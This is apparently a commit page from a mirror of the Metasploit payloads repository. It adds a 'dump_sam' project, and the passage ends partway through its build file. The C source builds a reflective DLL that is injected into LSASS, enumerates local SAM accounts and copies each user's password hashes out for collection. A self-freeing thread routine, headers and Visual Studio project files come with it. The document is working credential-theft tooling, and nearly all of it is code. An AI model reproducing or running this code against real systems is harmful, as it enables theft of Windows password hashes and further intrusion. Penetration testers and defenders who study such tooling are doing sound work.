1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Add the dump_sam project

This is going to build a stand-alone RDLL that can be injected into
LSASS for hashdump.

The samsrv.dll functions still need to be resolved because they're not
exported but the rest can be used normally thanks to the RDLL loader.
Defined 32-bit and 64-bit structures that are compatible with MSVC and
MinGW. DLLs are dynamically linked for size and the Visual-C Runtime is
not used.

The reflectively loaded DLL is freed once the operation has completed.
This commit is contained in:
Spencer McIntyre 2023-03-24 09:37:01 -04:00
parent ec15ce4944
commit d114f5ec0a
7 changed files with 728 additions and 0 deletions

View File

@ -0,0 +1,48 @@
#include "ReflectiveFreeAndExitThread.h"
typedef NTSTATUS
(*NtQueueApcThread)(
HANDLE ThreadHandle,
PVOID ApcRoutine,
ULONG_PTR SystemArgument1,
ULONG_PTR SystemArgument2,
ULONG_PTR SystemArgument3
);
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode) {
NtQueueApcThread pNtQueueApcThread = (NtQueueApcThread)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueueApcThread");
HANDLE hThread = NULL;
HANDLE hThisThread = NULL;
do {
if (!pNtQueueApcThread)
break;
// create a suspended thread that will just exit once the APCs have executed
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitThread, 0, CREATE_SUSPENDED, NULL);
if (!hThread)
break;
// open a real handle to this thread to pass in the APC so it operates on this thread and not itself
hThisThread = OpenThread(THREAD_QUERY_INFORMATION | SYNCHRONIZE, FALSE, GetCurrentThreadId());
if (!hThisThread)
break;
// tell that thread to wait on this thread, ensures VirtualFree isn't called until this thread has exited
pNtQueueApcThread(hThread, WaitForSingleObjectEx, (ULONG_PTR)hThisThread, INFINITE, FALSE);
// then close the handle so it's not leaked
QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread);
// then free the memory
pNtQueueApcThread(hThread, VirtualFree, (ULONG_PTR)hAppInstance, 0, MEM_RELEASE);
ResumeThread(hThread);
} while (FALSE);
if (hThread)
CloseHandle(hThread);
ExitThread(dwExitCode);
return;
}

View File

@ -0,0 +1,8 @@
#ifndef _METERPRETER_SOURCE_REFLECTIVE_FREE_AND_EXIT_THREAD_H
#define _METERPRETER_SOURCE_REFLECTIVE_FREE_AND_EXIT_THREAD_H
#include <windows.h>
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode);
#endif

View File

@ -0,0 +1,304 @@
#include <stdlib.h>
#include <stdio.h>
#include "dump_sam.h"
#include "ReflectiveFreeAndExitThread.h"
#define RDIDLL_NOEXPORT
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#include "ReflectiveLoader.c"
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/* Logging will work but only to OutputDebugStringA and not the full on Meterpreter logging because we don't have
* access to the API from within lsass.exe (which is where we're running).
*/
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
#if DEBUGTRACE == 1
#define vdprintf dprintf
#else
#define vdprintf(...) do{}while(0);
#endif
#else
#define dprintf(...) do{}while(0);
#define vdprintf(...) do{}while(0);
#endif
/*!
* @brief Output a debug string to the debug console.
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
*/
static _inline void real_dprintf(char* format, ...)
{
va_list args;
char buffer[1024];
size_t len;
_snprintf_s(buffer, sizeof(buffer), sizeof(buffer) - 1, "[%04x] ", GetCurrentThreadId());
len = strlen(buffer);
va_start(args, format);
vsnprintf_s(buffer + len, sizeof(buffer) - len, sizeof(buffer) - len - 3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
va_end(args);
}
/* Convert a wchar string to a mb string. Chars can be -1 if the string is NULL terminated, otherwise it needs to be the
* number of wide characters in the string not including the NULL terminator. The return value is always NULL
* terminated.
*/
char* wchar_to_utf8(const wchar_t* in, int chars)
{
char* out;
int len;
HANDLE hHeap = GetProcessHeap();
if (!in)
return NULL;
len = WideCharToMultiByte(CP_UTF8, 0, in, chars, NULL, 0, NULL, NULL);
if (len <= 0)
return NULL;
/* if -1 was passed through to WideCharToMultiByte, there's no need to add for the NULL terminator */
out = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, (len * sizeof(char)) + (chars == -1 ? 0 : 1));
if (!out)
return NULL;
if (WideCharToMultiByte(CP_UTF8, 0, in, chars, out, len, NULL, FALSE) == 0)
{
HeapFree(hHeap, 0, out);
out = NULL;
}
return out;
}
/*!
* @brief Function that is copied to lsass and run in a separate thread to dump hashes.
* @param fargs Collection of arguments containing important information, handles and pointers.
* @remark The code in this fuction _must_ be position-independent. No direct calls to functions
* are to be made.
*/
DWORD dump_sam(FUNCTIONARGS* fargs)
{
/* variables for samsrv function pointers */
HANDLE hSamSrv = NULL, hSam = NULL;
SamIConnectType pSamIConnect;
SamrOpenDomainType pSamrOpenDomain;
SamrEnumerateUsersInDomainType pSamrEnumerateUsersInDomain;
SamrOpenUserType pSamrOpenUser;
SamrQueryInformationUserType pSamrQueryInformationUser;
SamIFree_SAMPR_USER_INFO_BUFFERType pSamIFree_SAMPR_USER_INFO_BUFFER;
SamIFree_SAMPR_ENUMERATION_BUFFERType pSamIFree_SAMPR_ENUMERATION_BUFFER;
SamrCloseHandleType pSamrCloseHandle;
/* variables for samsrv functions */
HANDLE hEnumerationHandle = NULL, hDomain = NULL, hUser = NULL;
SAM_DOMAIN_USER_ENUMERATION* pEnumeratedUsers = NULL;
DWORD dwNumberOfUsers = 0;
PVOID pvUserInfo = 0;
/* variables for advapi32 functions */
LSA_HANDLE hLSA = NULL;
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
POLICY_ACCOUNT_DOMAIN_INFO* pAcctDomainInfo = NULL;
/* general variables */
NTSTATUS status;
HANDLE hReadLock = NULL, hFreeLock = NULL;
DWORD dwUsernameLength = 0, dwCurrentUser = 0, dwStorageIndex = 0;
DWORD dwResult = 0;
NTSTATUS NtStatus = 0;
HANDLE hHeap = GetProcessHeap();
dprintf("[DUMPSAM] Starting dump");
do {
/* load samsrv functions */
hSamSrv = LoadLibrary("samsrv.dll");
if (!hSamSrv)
BREAK_ON_ERROR("[DUMPSAM] Failed to load samsrv.dll");
pSamIConnect = (SamIConnectType)GetProcAddress(hSamSrv, "SamIConnect");
pSamrOpenDomain = (SamrOpenDomainType)GetProcAddress(hSamSrv, "SamrOpenDomain");
pSamrEnumerateUsersInDomain = (SamrEnumerateUsersInDomainType)GetProcAddress(hSamSrv, "SamrEnumerateUsersInDomain");
pSamrOpenUser = (SamrOpenUserType)GetProcAddress(hSamSrv, "SamrOpenUser");
pSamrQueryInformationUser = (SamrQueryInformationUserType)GetProcAddress(hSamSrv, "SamrQueryInformationUser");
pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERType)GetProcAddress(hSamSrv, "SamIFree_SAMPR_USER_INFO_BUFFER");
pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUFFERType)GetProcAddress(hSamSrv, "SamIFree_SAMPR_ENUMERATION_BUFFER");
pSamrCloseHandle = (SamrCloseHandleType)GetProcAddress(hSamSrv, "SamrCloseHandle");
if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser ||
!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle)
{
BREAK_WITH_ERROR("[DUMPSAM] Failed to resolve all required functions", ERROR_NOT_FOUND);
}
/* initialize the LSA_OBJECT_ATTRIBUTES structure */
ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.ObjectName = NULL;
ObjectAttributes.Attributes = 0;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
ObjectAttributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
/* open a handle to the LSA policy */
if (NtStatus = LsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to open a handle to the LSA policy", LsaNtStatusToWinError(NtStatus));
if (NtStatus = LsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, (LPVOID*)&pAcctDomainInfo) < 0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to query the LSA policy information", LsaNtStatusToWinError(NtStatus));
/* connect to the SAM database */
if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to connect to the SAM database", ERROR_CAN_NOT_COMPLETE);
if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to open the SAM domain", ERROR_CAN_NOT_COMPLETE);
/* enumerate all users and store username, rid, and hashes */
do
{
status = pSamrEnumerateUsersInDomain(hDomain, &hEnumerationHandle, 0, &pEnumeratedUsers, 0xFFFF, &dwNumberOfUsers);
if (status < 0)
{
break;
} // error
// 0x0 = no more, 0x105 = more users
if (!dwNumberOfUsers)
{
break;
} // exit if no users remain
if (fargs->dwDataSize == 0)
{ // first allocation
fargs->dwDataSize = dwNumberOfUsers * sizeof(USERNAMEHASH);
fargs->UsernameHashData.ptr = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, fargs->dwDataSize);
}
else
{ // subsequent allocations
fargs->dwDataSize += dwNumberOfUsers * sizeof(USERNAMEHASH);
fargs->UsernameHashData.ptr = HeapReAlloc(hHeap, HEAP_ZERO_MEMORY, fargs->UsernameHashData.ptr, fargs->dwDataSize);
}
if (!fargs->UsernameHashData.ptr)
BREAK_WITH_ERROR("[DUMPSAM] Failed to allocate memory", ERROR_NOT_ENOUGH_MEMORY);
for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++)
{
if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to open SAM user", ERROR_CAN_NOT_COMPLETE);
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to query user information", ERROR_CAN_NOT_COMPLETE);
/* allocate space for another username */
LSA_UNICODE_STRING wszUsername = pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername;
(fargs->UsernameHashData.ptr)[dwStorageIndex].Username.ptr = wchar_to_utf8(wszUsername.Buffer, wszUsername.Length / sizeof(WCHAR));
if ((fargs->UsernameHashData.ptr)[dwStorageIndex].Username.ptr == NULL)
BREAK_WITH_ERROR("[DUMPSAM] Failed to encode the username", ERROR_CAN_NOT_COMPLETE);
dwUsernameLength = (DWORD)strlen((fargs->UsernameHashData.ptr)[dwStorageIndex].Username.ptr);
(fargs->UsernameHashData.ptr)[dwStorageIndex].Length = dwUsernameLength;
(fargs->UsernameHashData.ptr)[dwStorageIndex].RID = pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId;
memcpy((fargs->UsernameHashData.ptr)[dwStorageIndex].Hash, pvUserInfo, 32);
/* clean up */
pSamIFree_SAMPR_USER_INFO_BUFFER(pvUserInfo, SAM_USER_INFO_PASSWORD_OWFS);
pSamrCloseHandle(&hUser);
pvUserInfo = 0;
hUser = 0;
/* move to the next storage element */
dwStorageIndex++;
}
pSamIFree_SAMPR_ENUMERATION_BUFFER(pEnumeratedUsers);
pEnumeratedUsers = NULL;
} while (status == 0x105);
/* set the event to signify that the data is ready */
hReadLock = OpenEvent(EVENT_MODIFY_STATE, FALSE, fargs->ReadSyncEvent);
if (hReadLock == NULL)
BREAK_ON_ERROR("[DUMPSAM] Failed to open the read-lock event");
/* wait for the copying to finish before freeing all the allocated memory */
hFreeLock = OpenEvent(SYNCHRONIZE, FALSE, fargs->FreeSyncEvent);
if (hFreeLock == NULL)
BREAK_ON_ERROR("[DUMPSAM] Failed to open the free-lock event");
if (SetEvent(hReadLock) == 0)
BREAK_ON_ERROR("[DUMPSAM] Failed to set the read-lock event");
dwResult = WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait);
if (dwResult != WAIT_OBJECT_0)
BREAK_WITH_ERROR("[DUMPSAM] Failed to wait for the free-lock event to be signaled", dwResult);
} while (FALSE);
dprintf("[DUMPSAM] Cleaning up...");
/* free all the allocated memory */
for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++)
{
HeapFree(hHeap, 0, (fargs->UsernameHashData.ptr)[dwCurrentUser].Username.ptr);
}
HeapFree(hHeap, 0, fargs->UsernameHashData.ptr);
/* close all handles */
pSamrCloseHandle(&hDomain);
pSamrCloseHandle(&hSam);
LsaClose(hLSA);
/* free library handles */
if (hSamSrv)
{
FreeLibrary(hSamSrv);
}
/* signal that the memory deallocation is complete */
SetEvent(hReadLock);
CloseHandle(hReadLock);
/* release the free handle */
CloseHandle(hFreeLock);
dprintf("[DUMPSAM] Finished with status: 0x%08x", dwResult);
dprintf("[DUMPSAM] Calling ReflectiveFreeAndExitThread(0x%p, 0)", hAppInstance);
ReflectiveFreeAndExitThread(hAppInstance, 0);
/* should never reach this point */
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
dump_sam((FUNCTIONARGS*)lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

View File

@ -0,0 +1,3 @@
NAME plugin.dll
EXPORTS
ReflectiveLoader @1 NONAME PRIVATE

View File

@ -0,0 +1,79 @@
#ifndef _METERPRETER_SOURCE_DUMP_SAM_H
#define _METERPRETER_SOURCE_DUMP_SAM_H
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <ntsecapi.h>
/*! @brief Define the type of information to retrieve from the SAM. */
#define SAM_USER_INFO_PASSWORD_OWFS 0x12
/*! @brief Struct that represents a SAM user in Windows. */
typedef struct _SAM_DOMAIN_USER
{
DWORD dwUserId;
LSA_UNICODE_STRING wszUsername;
} SAM_DOMAIN_USER;
/*! @brief Struct that contains SAM user enumeration context. */
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD dwDomainUserCount;
SAM_DOMAIN_USER* pSamDomainUser;
} SAM_DOMAIN_USER_ENUMERATION;
/* define types for samsrv */
typedef LONG NTSTATUS;
typedef NTSTATUS(WINAPI* SamIConnectType)(DWORD, PHANDLE, DWORD, DWORD);
typedef NTSTATUS(WINAPI* SamrOpenDomainType)(HANDLE, DWORD, PSID, HANDLE*);
typedef NTSTATUS(WINAPI* SamrOpenUserType)(HANDLE, DWORD, DWORD, HANDLE*);
typedef NTSTATUS(WINAPI* SamrEnumerateUsersInDomainType)(HANDLE, HANDLE*, DWORD, SAM_DOMAIN_USER_ENUMERATION**, DWORD, DWORD*);
typedef NTSTATUS(WINAPI* SamrQueryInformationUserType)(HANDLE, DWORD, PVOID);
typedef VOID(WINAPI* SamIFree_SAMPR_USER_INFO_BUFFERType)(PVOID, DWORD);
typedef VOID(WINAPI* SamIFree_SAMPR_ENUMERATION_BUFFERType)(PVOID);
typedef NTSTATUS(WINAPI* SamrCloseHandleType)(HANDLE*);
/* unions are used to ensure that MinGW can correctly calculate the size in WOW64 */
#define STRUCT_USERNAMEHASH(bits) typedef struct \
{ \
union { \
char* __ptr##bits ptr; \
ULONG##bits ul; \
} Username; \
DWORD Length; \
DWORD RID; \
char Hash[32]; \
} USERNAMEHASH##bits;
#define STRUCT_FUNCTIONARGS(bits) typedef struct \
{ \
/* kernel sync object strings */ \
char ReadSyncEvent[16]; \
char FreeSyncEvent[16]; \
/* maximum wait time for sync */ \
DWORD dwMillisecondsToWait; \
/* return values */ \
DWORD dwDataSize; \
union { \
USERNAMEHASH##bits* __ptr##bits ptr; \
ULONG##bits ul; \
} UsernameHashData; \
} FUNCTIONARGS##bits;
STRUCT_USERNAMEHASH(32);
STRUCT_USERNAMEHASH(64);
STRUCT_FUNCTIONARGS(32);
STRUCT_FUNCTIONARGS(64);
#ifdef _WIN64
typedef USERNAMEHASH64 USERNAMEHASH;
typedef FUNCTIONARGS64 FUNCTIONARGS;
#else
typedef USERNAMEHASH32 USERNAMEHASH;
typedef FUNCTIONARGS32 FUNCTIONARGS;
#endif
DWORD dump_sam(FUNCTIONARGS* fargs);
void dump_sam_end(void);
#endif

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.5.33516.290
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dump_sam", "dump_sam.vcxproj", "{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Debug|Win32.ActiveCfg = Debug|Win32
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Debug|Win32.Build.0 = Debug|Win32
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Debug|x64.ActiveCfg = Debug|x64
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Debug|x64.Build.0 = Debug|x64
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Release|Win32.ActiveCfg = Release|Win32
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Release|Win32.Build.0 = Release|Win32
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Release|x64.ActiveCfg = Release|x64
{B6A82AE3-A5D2-41BC-8B17-8AF5930AAC1A}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {F3668C2D-A63B-4037-9E5A-E25C7F4C153D}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,255 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{b6a82ae3-a5d2-41bc-8b17-8af5930aac1a}</ProjectGuid>
<RootNamespace>dumpsam</RootNamespace>
<WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<ConfigurationType>DynamicLibrary</ConfigurationType>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<ConfigurationType>DynamicLibrary</ConfigurationType>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<ConfigurationType>DynamicLibrary</ConfigurationType>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<ConfigurationType>DynamicLibrary</ConfigurationType>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>DEBUGTRACE;NDEBUG;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDllInjection\common;..\..\source\ReflectiveDllInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FunctionLevelLinking>false</FunctionLevelLinking>
<CallingConvention>StdCall</CallingConvention>
<CompileAs>CompileAsC</CompileAs>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<SupportJustMyCode>false</SupportJustMyCode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<ModuleDefinitionFile>$(ProjectDir)../../source/dump_sam/dump_sam.def</ModuleDefinitionFile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\"
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDllInjection\common;..\..\source\ReflectiveDllInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<CallingConvention>StdCall</CallingConvention>
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<EntryPointSymbol>DllMain</EntryPointSymbol>
<ModuleDefinitionFile>$(ProjectDir)../../source/dump_sam/dump_sam.def</ModuleDefinitionFile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\"
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>DEBUGTRACE;NDEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDllInjection\common;..\..\source\ReflectiveDllInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FunctionLevelLinking>false</FunctionLevelLinking>
<CallingConvention>StdCall</CallingConvention>
<CompileAs>CompileAsC</CompileAs>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<SupportJustMyCode>false</SupportJustMyCode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
